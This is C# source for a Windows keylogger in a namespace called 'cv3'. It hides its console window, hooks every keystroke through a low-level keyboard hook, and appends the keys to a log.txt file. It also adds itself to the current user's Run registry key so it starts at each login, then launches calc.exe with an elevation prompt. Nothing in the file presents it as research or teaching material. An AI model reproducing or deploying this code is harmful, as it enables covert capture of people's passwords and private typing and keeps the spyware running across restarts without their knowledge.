using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace cv3
{
    internal class InterceptKeys
{
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    public static void Main()
    {
        Program.RunReg();

        var handle = GetConsoleWindow();

        // Hide
        ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);

    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
            StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
            switch (vkCode)
                {
                    case 32: sw.Write(" ");
                        // space
                        break;

                    case 13: sw.WriteLine();
                        // return key
                        break;

                    default: sw.Write((Keys)vkCode);
                        break;
                }
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;

}


    public class Program
    {

        public static void RunReg()
        {
            var realPath = Application.ExecutablePath;
            var reg = Registry.CurrentUser.GetValue("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\cv3", realPath);
            // Console.WriteLine("REG\t" + reg);

            //if it does exist, retrieve the stored values
            if (reg != null)
            {
                var key3 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                // Console.WriteLine("KEY3\t" + key3);

                if (key3 != null)
                {
                    var myPath = key3.GetValue("cv3", realPath).ToString();
                    // Console.WriteLine("MYPATH\t\t" + myPath);

                    // Console.WriteLine("REALPATH\t" + "\"" + realPath + "\"");

                    var result = myPath.Equals("\"" + realPath + "\"", StringComparison.Ordinal);
                    // Console.WriteLine("RESULT\t" + result);
                    if (result)
                    {
                        // Console.WriteLine("PATHS SAME\n");
                    }
                    else
                    {
                        key3.SetValue("cv3", "\"" + Application.ExecutablePath + "\"");
                        // Console.WriteLine("ADDED NEW PATH");
                    }
                }
                key3?.Close();
            }

            if (reg == null)
            {
                var add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                // Console.WriteLine("ADD\t" + add);
                if (add == null) return;
                add.SetValue("cv3", "\"" + Application.ExecutablePath + "\"");
                // Console.WriteLine("KEY WAS NULL AND NOW IS SET\n");
                add.Close();


            }

            var info = new ProcessStartInfo(@"C:\Windows\System32\calc.exe")
            {
                UseShellExecute = true,
                Verb = "runas"
            };
            Process.Start(info);
        }
    }
}